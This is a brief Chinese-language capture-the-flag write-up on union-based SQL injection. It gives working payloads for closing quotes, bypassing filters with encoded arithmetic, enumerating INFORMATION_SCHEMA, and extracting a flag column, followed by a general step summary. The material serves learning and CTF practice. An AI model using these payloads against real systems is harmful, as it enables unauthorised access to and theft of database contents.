1.发现注入点
2.报数据库
先用单引号(也尝试双引号)闭合前面的语句,使注入的语句能够执行,
数字 0 :匹配字段,还有 1=1 1=2 等等都可以使用,有些网站会有过滤处理,建议采用 1%2b1=2 1%2b1>1 绕过过滤
句尾加 # 井号注释后面的语句和原有的引号括号
使用union select 联合查询显示位,返回的数字即为显示位,可以用来显示字段
' and 0 union select 1,2,3 #
在显示位输入可能的表名,union select语句从数据库 INFORMATION_SCHEMA查询他的columns
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
在表名中寻找可能的表,继续用union select 查询表中的column,即本语句中的列名column_name和数据类型data_type
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'# 得到 secret_table
发现列名有 secret table,继续使用语句查询该列名下
' and 0 union select 1,2,fl4g from secret_table #
出现flag
强行总结:一般sql注入要先用引号括号等出现报错判断sql注入点
用单引号双引号括号闭合前面,用#或 --注释后面的语句和引号括号
order by
union select 1,2,3,4,5,查询显示位
根据mysql常用的表结构查询表和列
参考mysql常用结构: https://blog.csdn.net/Wu000999/article/details/88996768?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param